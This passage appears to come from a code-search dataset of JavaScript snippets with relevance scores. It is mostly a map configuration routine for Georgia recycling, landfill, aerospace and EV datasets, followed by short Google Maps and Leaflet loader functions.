ONLY WORKS WHEN LOWERCASE, Column in database does NOT need to be lowercase too.\n dp.valueColumn = \"sic_code_list\";\n dp.valueColumnLabel = \"SIC Code\";\n ////dp.showKeys = \"description\"; // How would this be used?\n\n //dp.subcatColumn = \"siccode\";\n dp.itemsColumn = \"SIC_CODE_LIST\"; // Needs to remain capitalized.\n \n\n dp.markerType = \"google\";\n dp.color = \"#339\";\n dp.search = {\"In Name\": \"PERMIT_NAME\", \"In Address\": \"facility_addr\", \"In County Name\": \"county\", \"SIC Code\": \"SIC_CODE_LIST\", };\n\n } else if (show == \"landfills\") {\n dp.listTitle = \"Georgia Landfills (2017)\";\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing\";\n dp.mapInfo = \"Post comments in our <a href='https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing' target='georgia_recyclers_sheet'>Google&nbsp;Sheet</a> to provide updates.<br>Source: <a href='https://epd.georgia.gov/about-us/land-protection-branch/solid-waste/regulated-solid-waste-facilities'>EPD Regulated Solid Waste</a>. &nbsp;View&nbsp;<a href='/recycling/georgia/'>Wastewater and Recycling&nbsp;Datasets</a>.\";\n\n // From Landfills tab (temporary until Solid Waste ready)\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=2088666243&single=true&output=csv\";\n // Old data from approx 2017 or earlier\n // The lastest data resides at: https://epd.georgia.gov/about-us/land-protection-branch/solid-waste/permitted-solid-waste-facilities and has been pulled into the Solid Waste tab\n\n // BUGBUG - Allow these to start with uppercase to match sheet\n dp.nameColumn = \"name\";\n dp.titleColumn = \"name\";\n dp.searchFields = \"name\";\n\n // hack\n dp.addressColumn = \"name\";\n\n dp.search = {\"In Name\": \"Name\",\"In County\": \"County\"};\n \n dp.markerType = \"google\";\n dp.color = \"#393\";\n dp.latColumn = \"latitude\"; // Only works when lowercase, despite Google Sheet column being uppercase\n dp.lonColumn = \"longitude\";\n\n } else if (show == \"solidwaste\") {\n dp.listTitle = \"Georgia Solid Waste (2023)\";\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing\";\n dp.mapInfo = \"Post comments in our <a href='https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing' target='georgia_recyclers_sheet'>Google&nbsp;Sheet</a> to provide updates. Source: <a href='https://epd.georgia.gov/about-us/land-protection-branch/solid-waste/regulated-solid-waste-facilities'>EPD Regulated Solid Waste</a>. &nbsp;View&nbsp;<a href='/recycling/georgia/'>More&nbsp;Recycling&nbsp;Datasets</a>.\";\n \n // From Solid Waste tab\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=809637033&single=true&output=csv\";\n // BUGBUG - Allow these to start with uppercase to match sheet\n dp.nameColumn = \"facility name\";\n dp.titleColumn = \"facility name\";\n dp.searchFields = \"facility name\";\n dp.search = {\"In Name\": \"Facility Name\",\"In Address\": \"Address\", \"Status\": \"Operating Status\"};\n\n //dp.showWhenStatus = \"Operating\"\n dp.catColumn = \"Operating Status\";\n dp.valueColumn = \"operating status\";\n dp.valueColumnLabel = \"Operating Status\";\n\n dp.markerType = \"google\";\n dp.color = \"#933\";\n \n } else if (show == \"cameraready-locations\") {\n dp.listTitle = \"CameraReady Film Locations\";\n dp.dataTitle = \"Filming Locations\";\n dp.datatype = \"json\";\n dp.dataset = \"https://raw.githubusercontent.com/GeorgiaFilm/cameraready_locations_curl/main/cameraready.json\";\n //dp.color = \"#548d1a\"; // green\n dp.markerType = \"google\";\n dp.filters = {tag:\"Locations\"}; // Supports comma separated values\n dp.showKeys = \"hours_saturday\";\n dp.showLabels = \"Saturday\";\n dp.search = {\"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\", \"Type\": \"tag\"};\n \n } else if (show == \"cameraready\") {\n dp.listTitle = \"CameraReady County Liaisons\";\n dp.dataTitle = \"CameraReady Liaisons\";\n dp.datatype = \"json\";\n dp.dataset = \"https://raw.githubusercontent.com/GeorgiaFilm/cameraready_locations_curl/main/cameraready.json\";\n dp.color = \"#ff9819\"; // orange - Since there is no type column. An item column is filtered. To do: Pull types from a tab and relate to the first type in each column.\n dp.markerType = \"google\";\n dp.filters = {tag:\"Liaisons\"}; // Supports comma separated values\n dp.search = {\"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\", \"Type\": \"tag\"};\n \n } else if (show == \"aerospace\") {\n dp.listTitle = \"Georgia Aerospace Directory\";\n dp.dataTitle = \"Aerospace Directory\";\n dp.mapInfo = \"The Aerospace Directory is a free listing service provided by the Center of Innovation for Aerospace for any aerospace-related company or organization in Georgia. <a href='https://www.cognitoforms.com/GDECD1/GeorgiaDirectory' target='_blank'>Add and Update Listings</a>\";\n // Participating in this directory gives a company/organization visibility to national, regional, and state partners who are looking for local suppliers or potential suppliers for new economic development prospects. \n\n dp.nameColumn = \"organization name\";\n dp.titleColumn = \"organization name\";\n dp.searchFields = \"organization name\";\n\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vSkK4mAiyQoplKH40yhYondpbZCctjz7EHDq5ZSCHVTTYC4Pmk7J-C_k361MXXNRY8YGuNeripB6cwU/pub?gid=851472293&single=true&output=csv\";\n dp.markerType = \"google\";\n //dp.color = \"#ff9819\"; // orange - Since there is no type column. An item column is filtered. To do: Pull types from a tab and relate to the first type in each column.\n \n //dp.filters = {tag:\"Liaisons\"}; // Supports comma separated values\n //dp.search = {\"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\", \"Type\": \"tag\"};\n \n // CatAerospace Tab\n dp.googleCategories = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vSkK4mAiyQoplKH40yhYondpbZCctjz7EHDq5ZSCHVTTYC4Pmk7J-C_k361MXXNRY8YGuNeripB6cwU/pub?gid=239772657&single=true&output=csv\";\n dp.catColumn = \"categories\";\n\n ////dp.showWhenStatus = \"Operating\"\n dp.valueColumn = \"categories\";\n dp.valueColumnLabel = \"Categories\";\n\n dp.omitColumns = \"lastconfirmed,pdf,salesforce\"; // Currently make these lowercase here regardless of column capitalization\n // Questions: Can the pdf column be deleted?\n // Can the free listing / premium listing column be deleted?\n // Should the green \"RETAIN IN CONTACTS LIST\" also be deleted?\n // Proably to delete: georgiadirectory_id\n // Can 12 \"Air Transport\" be renamed to \"Air Transportation\" (which has 50+ rows, and it's a main category)\n\n dp.filters = {type:\"aerospace\"}; // Supports comma separated values\n dp.search = {\"In Main Category\": \"Category\", \"In Location Name\": \"Organization Name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"};\n \n } else if (1==2 && (show == \"recycling\" || show == \"transfer\" || show == \"recyclers\" || show == \"inert\" || show == \"landfillsX\")) { // recycling-processors\n // NOT USED - LOOK ABOVE\n if (hash.state == \"GA\") {\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing\";\n //dp.googleDocID = \"1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY\";\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=1924677788&single=true&output=csv\";\n if (show == \"transfer\") {\n dp.listTitle = \"Georgia Transfer Stations\";\n dp.sheetName = \"Transfer Stations\";\n dp.valueColumn = \"waste type\"; // Bug - need to support uppercase too.\n dp.valueColumnLabel = \"Waste Type\";\n } else if (show == \"recyclers\") {\n dp.listTitle = \"Georgia Companies that Recycle During Manufacturing\";\n dp.sheetName = \"Manufacturer Recyclers\";\n dp.valueColumn = \"category\"; // Bug - need to support uppercase too. Also, most don't have a Category value\n dp.valueColumnLabel = \"Recycles\";\n } else if (show == \"landfillsX\") {\n dp.listTitle = \"Georgia Landfills\";\n dp.sheetName = \"Landfills\";\n dp.valueColumn = \"sector\"; // Bug - need to support uppercase too.\n dp.valueColumnLabel = \"Sector\";\n } else if (show == \"inert\") {\n dp.listTitle = \"Georgia Inert Waste Landfills\";\n dp.sheetName = \"Inert Waste Landfills\";\n dp.valueColumn = \"sector\"; // Bug - need to support uppercase too.\n dp.valueColumnLabel = \"Sector\";\n } else {\n dp.listTitle = \"Georgia Recycling Processors\";\n dp.sheetName = \"Recycling Processors\";\n dp.valueColumn = \"category\";\n dp.valueColumnLabel = \"Materials Category\";\n }\n // May need to add here\n //dp.nameColumn = \"organizationname\";\n //dp.titleColumn = \"organizationname\";\n\n dp.mapInfo = \"<span>View <a href='/recycling/georgia/'>Recycling Datasets</a>.</span><br>Submit updates by posting comments in our 5 <a href='https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing'>Google Sheet Tabs</a>.\";\n \n //dp.latColumn = \"latitude\";\n //dp.lonColumn = \"longitude\";\n dp.search = {\"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"};\n }\n } else if (show == \"vehicles\" || show == \"ev\") {\n //dp.listTitle = \"Motor Vehicle and Motor Vehicle Equipment Manufacturing\";\n dp.listTitle = \"Parts and Vehicle Manufacturing\";\n dp.shortTitle = \"EV Parts and Vehicle Manufacturing\";\n if (show == \"ev\") {\n dp.listTitle = \"Electric Vehicle Manufacturing\";\n }\n // Is this in use?\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1OX8TsLby-Ddn8WHa7yLKNpEERYN_RlScMrC0sbnT1Zs/edit?usp=sharing\";\n //dp.googleDocID = \"1OX8TsLby-Ddn8WHa7yLKNpEERYN_RlScMrC0sbnT1Zs\";\n\n //https://docs.google.com/spreadsheets/d/e/2PACX-1vSEbtuDxqld2wdlFqUh23MQl-BO7faEm1DGSkgJ4A5wNqkK5TOj82bkIjtRsOWx5yAThbcC6IsxPzYV/pubhtml\n //dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=1924677788&single=true&output=csv\";\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vSEbtuDxqld2wdlFqUh23MQl-BO7faEm1DGSkgJ4A5wNqkK5TOj82bkIjtRsOWx5yAThbcC6IsxPzYV/pub?gid=0&single=true&output=csv\";\n\n // Not sure if any of these are needed.\n dp.sheetName = \"Automotive\";\n dp.nameColumn = \"name\";\n dp.latColumn = \"latitude\";\n dp.lonColumn = \"longitude\";\n dp.categories = {\"Yes\": {\"title\":\"EV or Batteries\",\"color\":\"\"}, \"No\": {\"title\":\"ICE Specific\",\"color\":\"\"}};\n // , \"null\": {\"title\":\"Either\",\"color\":\"\"}\n dp.catColumn = \"EV Industry\";\n dp.showWhenStatus = \"null\"\n // Temp, prior to change from Google API 2 to 3\n //dp.dataset = \"https://model.earth/georgia-data/automotive/automotive.csv\";\n dp.datastates = \"GA\";\n // Dark green map points indicate electric vehicle parts manufacturing.<br>\n dp.mapInfo = \"From 2020 to 2022 Georgia added more than 20 EV-related projects. <a href='https://www.georgiatrend.com/2022/07/29/electric-revolution/'>Learn&nbsp;more</a>\";\n // <br>Dark Green: Electric Vehicle (EV) Industry<br>Lite Green: Potential EV Parts Manufacturer<br>Dark Blue: Internal Combustion Engine (ICE)\n dp.listInfo = \"Post comments in our <a href='https://docs.google.com/spreadsheets/d/1OX8TsLby-Ddn8WHa7yLKNpEERYN_RlScMrC0sbnT1Zs/edit?usp=sharing' target='vehicles_data'>Google Sheet</a> to submit updates. <a href='/localsite/info/input/'>Contact Us</a> to become an editor. Learn about <a href='../../community/projects/mobility/'>data&nbsp;sources</a>.\";\n dp.valueColumn = \"ev industry\";\n dp.valueColumnLabel = \"EV Industry\";\n dp.markerType = \"google\";\n dp.search = {\"EV Industry\": \"EV Industry\", \"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"};\n } else if (show == \"vax\" || show == \"vac\") { // Phase out vac\n dp.listTitle = \"Vaccine Locations\";\n //dp.dataset = \"https://docs.google.com/spreadsheets/d/1odIH33Y71QGplQhjJpkYhZCfN5gYCA6zXALTctSavwE/gviz/tq?tqx=out:csv&sheet=Sheet1\"; // MapBox sample\n // Link above works, but Google enforces CORS with this link to Vaccine data:\n //dp.dataset = \"https://docs.google.com/spreadsheets/d/1q5dvOEaAoTFfseZDqP_mIZOf2PhD-2fL505jeKndM88/gviz/tq?tqx=out:csv&sheet=Sheet3\";\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1_wvZXUWFnpbgSAZGuIb1j2ni8p9Gqj3Qsvd8gV95i90/edit?ts=60233cb5#gid=698462553\";\n dp.googleDocID = \"1_wvZXUWFnpbgSAZGuIb1j2ni8p9Gqj3Qsvd8gV95i90\";\n dp.sheetName = \"Current Availability\";\n dp.mapInfo = \"<br><br><a href='https://docs.google.com/spreadsheets/d/1_wvZXUWFnpbgSAZGuIb1j2ni8p9Gqj3Qsvd8gV95i90/edit?ts=60233cb5#gid=698462553'>Help update Google Sheet data by posting comments</a>.<br><br><a href='https://myvaccinegeorgia.com/'>Preregister with myvaccinegeorgia.com</a> and join the <a href='https://vaxstandby.com/'>VAX Standby</a> list to receive a message when extra doses are available. Also receive text messages on availability from <a href='https://twitter.com/DiscoDroidAI'>Disco Droid</a> or check their <a href='https://twitter.com/DiscoDroidAI'>Tweets</a>.<br><br><a href='https://www.vaccinatega.com/vaccination-sites/providers-in-georgia'>Check provider status</a> at <a href='https://VaccinateGA.com'>VaccinateGA.com</a> and <a href='neighborhood/'>assist with data and coding</a>.\";\n // <a href='neighborhood/vaccines/'>view availability and contribute updates</a>\n dp.search = {\"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"};\n // \"In Description\": \"description\", \"In City Name\": \"city\", \"In Zip Code\" : \"zip\"\n dp.valueColumn = \"county\";\n dp.valueColumnLabel = \"County\";\n dp.countyColumn = \"county\";\n dp.itemsColumn = \"Category1\";\n } else if (show == \"smart\") { // param[\"data\"] for legacy: https://www.georgia.org/smart-mobility\n dp.shortTitle = \"Smart Data Projects\";\n dp.listTitle = \"Data Driven Decision Making\";\n //dp.listSubtitle = \"Smart & Sustainable Movement of Goods & Services\";\n dp.industryListTitle = \"Mobility Tech\";\n\n console.log(\"map.js loading \" + local_app.custom_data_root() + \"communities/map-georgia-smart.csv\");\n\n dp.dataset = local_app.custom_data_root() + \"communities/map-georgia-smart.csv\";\n dp.mapInfo = \"Includes <a href='https://smartcities.gatech.edu/georgia-smart' target='_blank'>Georgia Smart</a> Community Projects. <a href='https://github.com/GeorgiaData/georgia-data/blob/master/communities/map-georgia-smart.csv'>Submit changes</a>\";\n dp.search = {\"In Title\": \"title\", \"In Description\": \"description\", \"In Website URL\": \"website\", \"In Address\": \"address\", \"In City Name\": \"city\", \"In Zip Code\" : \"zip\"};\n dp.markerType = \"google\";\n //dp.showShapeMap = true; // Shows county borders\n dp.latitude = 32.8;\n dp.longitude = -83.4;\n dp.zoom = 7;\n dp.colorColumn = \"name\"; // Invokes color as alternative to valueColumn\n\n dp.valueColumn = \"city\";\n dp.valueColumnLabel = \"City\";\n } else if (show == \"logistics\") { // \"http://\" + param[\"domain\"]\n\n dp.listTitle = \"Logistics\";\n\n dp.mapInfo = \"Select a category to filter your results.\";\n //dp.dataset = \"https://georgiadata.github.io/display/data/logistics/coi_with_cognito.csv\";\n dp.dataset = \"../../display/data/logistics/coi_with_cognito.csv\";\n\n dp.dataTitle = \"Manufacturers and Distributors\";\n dp.itemsColumn = \"items\";\n dp.valueColumn = \"type\";\n dp.valueColumnLabel = \"Type\";\n dp.markerType = \"google\";\n //dp.keywords = \"items\";\n // \"In Business Type\": \"type\", \"In State Name\": \"state\", \"In Postal Code\" : \"zip\"\n dp.search = {\"In Items\": \"items\", \"In Website URL\": \"website\", \"In City Name\": \"city\", \"In Zip Code\" : \"zip\"};\n dp.nameColumn = \"title\";\n dp.latColumn = \"lat_rand\";\n dp.lonColumn = \"lon_rand\";\n\n dp.nameColumn = \"company\";\n dp.latColumn = \"latitude\";\n dp.lonColumn = \"longitude\";\n dp.showLegend = false;\n\n dp.listLocation = false;\n\n } else if (show == \"restaurants\") {\n // Fulton County 5631 restaurants\n dp.listTitle = \"Restaurant Ratings\";\n dp.dataTitle = \"Restaurant Ratings\";\n dp.dataset = \"/community/tools/map.csv\";\n dp.latitude = 32.9;\n dp.longitude = -83.4; \n dp.name = \"Fulton County Restaurants\";\n dp.titleColumn = \"restaurant\";\n dp.nameColumn = \"restaurant\";\n\n dp.valueColumnLabel = \"Health safety score\";\n dp.valueColumn = \"score\";\n\n dp.latColumn = \"latitude\";\n dp.lonColumn = \"longitude\";\n\n dp.dataset = \"/community/farmfresh/usa/georgia/fulton_county_restaurants.csv\"; // Just use 50\n dp.dataTitle = \"Restaurant Scores\";\n dp.titleColumn = \"restaurant\";\n dp.mapInfo = \"Fulton County\";\n } else if (show == \"pickup\") {\n // Atlanta Pickup\n dp.latitude = 33.76;\n dp.longitude = -84.3880;\n dp.zoom = 14;\n\n // CURBSIDE PICKUP\n dp.listTitle = \"Restaurants with Curbside Pickup\";\n dp.mapInfo = \"Data provided by coastapp.com. <a href='https://coastapp.com/takeoutcovid/atl/' target='_blank'>Make Updates</a>\";\n dp.dataset = \"/community/places/usa/ga/restaurants/atlanta-coastapp.csv\";\n dp.dataTitle = \"Curbside Pickup\";\n // \n dp.markerType = \"google\";\n dp.search = {\"In Restaurant Name\": \"Name\", \"In Description\": \"Description\", \"In City Name\": \"City\", \"In Address\" : \"Address\"};\n dp.nameColumn = \"Name\";\n dp.titleColumn = \"Description\";\n //dp.addressColumn = \"Address\";\n //dp.website = \"Link\";\n dp.valueColumnLabel = \"Delivery\";\n dp.valueColumn = \"Delivery\";\n dp.listLocation = true;\n\n } else {\n console.log(\"no show text match for listing map: \" + show);\n }\n\n } // end state GA\n\n if (theState == \"CA\") {\n //alert(\"theState \" + theState)\n if (show == \"businesses\") { // San Diego - Mike\n dp.nameColumn = \"Name\";\n dp.titleColumn = \"Name\";\n\n dp.listTitle = \"Businesses\";\n dp.dataTitle = \"Businesses\";\n dp.dataset = \"/apps/benchmarks/data/beyond_businesses.csv\";\n dp.latitude = 32.71;\n dp.longitude = -117.16;\n dp.zoom = 11;\n dp.latColumn = \"lat\";\n dp.lonColumn = \"lon\";\n dp.valueColumnLabel = \"NAICS\";\n dp.valueColumn = \"NAICS\";\n } else if (show == \"buildings\") { // San Diego - Mike\n dp.nameColumn = \"Name\";\n dp.listTitle = \"Buildings\";\n dp.dataTitle = \"Buildings\";\n dp.dataset = \"/apps/benchmarks/data/beyond_carbon.csv\";\n dp.latitude = 32.71;\n dp.longitude = -117.16;\n dp.zoom = 11;\n dp.latColumn = \"lat\";\n dp.lonColumn = \"lon\";\n dp.valueColumnLabel = \"ENERGY STAR\";\n dp.valueColumn = \"ENERGY STAR\";\n }\n }\n\n if(dp.dataset) {\n if (hash.state) {\n dp.dataset = dp.dataset.replace(\"[jurisdiction]\",\"US-\" + hash.state.split(\",\")[0].toUpperCase());\n } else {\n dp.dataset = dp.dataset.replace(\"[jurisdiction]\",\"US\");\n }\n }\n // Load the map using settings above\n\n // INIT - geo fetches the county for filtering.\n //hash = getHash();\n hash = $.extend(true, {}, getHash()); // Clone/copy object without entanglement\n if (hash.geo) {\n loadGeos(hash.geo,0,function(results) {\n loadFromSheet('map1','map2', dp, basemaps1, basemaps2, 1, function(results) {\n initialHighlight(hash);\n });\n });\n } else {\n if (!hash.state) {\n $(\".locationTabText\").text(\"Locations\");\n } else {\n $(\"#state_select\").val(hash.state.split(\",\")[0].toUpperCase());\n $(\".locationTabText\").text($(\"#state_select\").find(\":selected\").text());\n $(\".locationTabText\").attr(\"title\",$(\"#state_select\").find(\":selected\").text());\n }\n loadFromSheet('map1','map2', dp, basemaps1, basemaps2, 1, function(results) {\n initialHighlight(hash); \n });\n }\n // Return to top for mobile users on search.\n if (document.body.clientWidth <= 500) {\n window.scrollTo({\n top: 0,\n left: 0\n });\n }\n showprevious = show;\n\n // Sulfer Dioxide - Good indicator of smoke stacks, Source of acidity\n // https://earth.nullschool.net/#current/chem/surface/level/overlay=so2smass/orthographic=-94.02,32.31,1023\n\n // Surface wind\n // https://earth.nullschool.net/#current/wind/surface/level/orthographic=-73.52,34.52,532\n\n // US East Coast Ocean Currant\n // https://earth.nullschool.net/#current/wind/surface/currents/overlay=wind/orthographic=-73.52,34.52,1101\n\n // Was getting called here on display/products/intranet.html\n //loadIframe(\"mainframe\",\"https://earth.nullschool.net/#current/wind/surface/level/orthographic=\" + dp.longitude + \",\" + dp.latitude + \",1381\");\n\n\n console.log(\"End loadMap1. Cat: \" + hash.cat);\n\n} // loadMap1", "title": "" }, { "docid": "02f291293e77d4dd0c5c174afdf9af20", "score": "0.5279521", "text": "function loadMap() {\n clubcard.map.init();\n}", "title": "" }, { "docid": "01dfb2532a34fe5e595908a591b48c39", "score": "0.5277685", "text": "function setUpBasicPageComponents(){\n mapComponent = d3.select(\"#mapChart\");\n mapWidth = document.getElementById(\"mapChart\").offsetWidth;\n}", "title": "" }, { "docid": "79c25f8ef86a98ba0db8deacae65131f", "score": "0.52711684", "text": "function loadGMapsScript(url) {\n//get the \"script\" tag\nlet index = window.document.getElementsByTagName('script')[0];\n\n//add a <script> tag\nlet script = window.document.createElement('script');\nscript.src = url;\nscript.async = true;\nscript.defer = true;\n\n//insert this script before other scripts\nindex.parentNode.insertBefore(script, index);\n}", "title": "" }, { "docid": "79008e450365bd1c48fa93a93f144a08", "score": "0.5269127", "text": "verifyMap(){ \r\n cy.get(this.mapLocator).should('be.visible')\r\n }", "title": "" }, { "docid": "3d3ef5970360d16d5ec0cb981878e09a", "score": "0.5250551", "text": "function init_map() {\n var map = new qq.maps.Map(document.getElementById(\"main\"),{\n center: new qq.maps.LatLng(39.916527,116.397128),\n zoom: 12 \n })\n \n}", "title": "" }, { "docid": "6b91f74ae687c45844857f6a14914c79", "score": "0.5245128", "text": "function main() {\n\n // This application is entirely event driven. The events include input from\n // the user via text entry and clicks. Other events include database\n // callbacks, map related events, and completion of web API calls.\n\n // Initialize the database\n // Initialize the web APIs\n // Initialize the UI framework\n\n //\n // Initialize the map by calling ExCommuteNs.MapNs.initMap()\n // When the map is ready, the mapReady callback is called\n //\n $(\"body\").append(\n \"<script async defer src=\\\"https://maps.googleapis.com/maps/api/js?key=\" + ExCommuteNs.getMapApiKey() + \"&callback=ExCommuteNs.mapReady&libraries=places\\\">\"\n );\n\n return true;\n}", "title": "" }, { "docid": "7fe1f7c41196eb98554a6177a2f88134", "score": "0.52399474", "text": "componentDidMount() {\n window.gm_authFailure = this.gm_authFailure;\n window.initMap = this.initMap;\n loadMapScript('https://maps.googleapis.com/maps/api/js?key=AIzaSyAUB3B2Vp2AFLsAQesz3PiNSrINPRjWU9E&callback=initMap');\n }", "title": "" }, { "docid": "1489e5be978b7a022f13db16c8dcb826", "score": "0.5237556", "text": "componentDidMount() {\n //this.Viewer.zoomOnViewerCenter(.6);\n this.generateMap = new GenerateMap();\n\n this.generateMap.generateNewDiagram();\n this.updateUI();\n window.myMapGenerator = this.generateMap;\n window.mapContainer = this;\n }", "title": "" }, { "docid": "3b2c1100962cea48fbb69fe114cab569", "score": "0.5233071", "text": "function runMap(){\n\tgoogle.maps.event.addDomListener(window, \"load\", initialiseMap);\n}", "title": "" }, { "docid": "8024f42a446112d85dd0133a4433999b", "score": "0.5231431", "text": "function mapReady() {} // Must exist even if empty", "title": "" }, { "docid": "f632e3aa5f0db0bf8639a29203577119", "score": "0.5229783", "text": "function webtiles_load($, canvas_id, tileset_def, url, is_debug) {\n $(document).ready(function(){\n $.getJSON(url, function(result){\n var tilez = result.tilez;\n webtiles_draw($, canvas_id, tileset_def, tilez, is_debug);\n });\n });\n}", "title": "" }, { "docid": "d0bb717e86621536ccefe03be6117979", "score": "0.52158386", "text": "function _load_map_reduce() { \n var mapcode;\n var reducecode;\n\n mapcode = read(\"../map.js\");\n eval(\"map = \" + mapcode ) ;\n\n try {\n reducecode = read(\"../reduce.js\");\n eval(\" reduce = \" + reducecode ) ;\n } catch(x) {\n print (\"Did not find reduce function\" ) ;\n }\n}", "title": "" }, { "docid": "b676eb51c1614980c1f6edaa19f99f75", "score": "0.5208549", "text": "loadLibrary(key) {\n let script;\n window[\"initMap\"] = () => {\n this._autoCompleteService = new window[\"google\"].maps.places.AutocompleteService();\n this._geocoder = new window[\"google\"].maps.Geocoder();\n };\n if (window[\"google\"]) {\n script = document.querySelector(\"#google_maps_library\");\n script.remove();\n delete window[\"google\"];\n }\n script = document.createElement(\"script\");\n script.id = \"google_maps_library\";\n script.src = `https://maps.googleapis.com/maps/api/js?key=${key}&libraries=places&callback=initMap`;\n document.head.appendChild(script);\n }", "title": "" }, { "docid": "273ae62267ea9c7285c122fa67fe6b6e", "score": "0.52083695", "text": "function includeMap() {\n\t//include leaflet css\n\tvar link = document.createElement('link');\n link.rel = 'stylesheet';\n link.href = 'https://unpkg.com/[email protected]/dist/leaflet.css';\n //link.integrity = \"sha512-wcw6ts8Anuw10Mzh9Ytw4pylW8+NAD4ch3lqm9lzAsTxg0GFeJgoAtxuCLREZSC5lUXdVyo/7yfsqFjQ4S+aKw==\";\n link.crossorigin=\"anonymous\";\n document.head.appendChild(link);\n\n //include leaflet JS\n var script = document.createElement('script');\n script.addEventListener(\"load\", loadMap);\n script.src = \"https://unpkg.com/[email protected]/dist/leaflet.js\";\n //script.integrity = \"sha512-mNqn2Wg7tSToJhvHcqfzLMU6J4mkOImSPTxVZAdo+lcPlk+GhZmYgACEe0x35K7YzW1zJ7XyJV/TT1MrdXvMcA==\";\n script.crossorigin = \"anonymous\";\n document.head.appendChild(script);\n}", "title": "" }, { "docid": "2547e83db56bd0097dd7a03e97d69213", "score": "0.5207153", "text": "function loadScript(url) {\n\t let index = window.document.getElementsByTagName(\"script\")[0]\n\t let script = window.document.createElement(\"script\")\n\t script.src = url\n\t script.async = true\n\t script.defer = true\t\n\t \n\t // Error reporting modified from https://stackoverflow.com/questions/9860823/js-loading-script-error\n\t script.onerror = function() {\n alert(\"Unable to load the Map\");\n }\n\t index.parentNode.insertBefore(script, index)\n\t}", "title": "" }, { "docid": "61f197f8cfa9dc7b6f2ae954def4a053", "score": "0.5205615", "text": "function initMap() { // eslint-disable-line no-unused-vars\n mapLoadState.resolve(new google.maps.Map(document.getElementById('map'), {\n center: { lat: 38.8993278, lng: -77.0846061 },\n scrollwheel: true,\n zoom: 13\n }));\n}", "title": "" }, { "docid": "d4acecd26a7906b57b36f7d93e1487b7", "score": "0.5185251", "text": "function load_gmap() {\n var script = document.createElement('script');\n script.type = 'text/javascript';\n script.src = 'https://maps.googleapis.com/maps/api/js?v=3.exp' +\n '&callback=init_gmap';\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "9392c46c89e3bbe0353b848d76afb3c8", "score": "0.51797885", "text": "function loadScript() {\n var script = document.createElement('script');\n script.src = \"https://maps.googleapis.com/maps/api/js?key=AIzaSyDn20ttdtOtCSg02P_oONmvRYSrDCb6N7s&callback=initMap\";\n document.body.appendChild(script);\n}", "title": "" }, { "docid": "ecc9671d7beb5053b62faf8d7dabcd0d", "score": "0.51787484", "text": "function passivelyLoadMap() {\n x = loader.ajax;\n x.open(\"GET\", \"Maps/World\" + loader.map[0] + \"\" + loader.map[1] + \".js\", true);\n x.send();\n x.onreadystatechange = function() {\n if(x.readyState != 4) return;\n if(x.status == 200) // Map file found, load it up\n eval(\"mapfuncs[loader.map[0]][loader.map[1]] = \" + x.responseText);\n else if(x.status != 404) // Otherwise, unless it just was a 404, return\n return;\n setNextLevelArr(loader.map);\n if(loader.map[0] > 8) return; // Don't try to load worlds 9 and up\n setTimeout(function() { passivelyLoadMap(); }, 490);\n };\n}", "title": "" }, { "docid": "75f5c8767ef47831215b1c90c5db65d8", "score": "0.51698434", "text": "function MapChartFactory() {}", "title": "" }, { "docid": "5b21adc7f7f0d3fafe98a72bda5d263c", "score": "0.51680887", "text": "function loadmap() {\n\t$.each(worldmaps, function(index, StaticAsset){\n\t\t$embed.append(objlink+ServerIP+\"/kcs/resources/swf/map/\"+StaticAsset+objfix);\n\t});\n}", "title": "" }, { "docid": "556d3e15f63e9a30a89ede4fffcfa3bb", "score": "0.5163283", "text": "onBeforeLoad (win) {\n win.mocked = 'mocked'\n }", "title": "" }, { "docid": "a814617bf0d8b84e099da670745395bb", "score": "0.51631135", "text": "function initMap() {}", "title": "" }, { "docid": "0e90fbf4253902e0aa81e81851133714", "score": "0.5153253", "text": "function loadMapScript(filepath) {\n if ($('head script[src=\"' + filepath + '\"]').length > 0)\n return;\n var ele = document.createElement('script');\n ele.setAttribute('type', 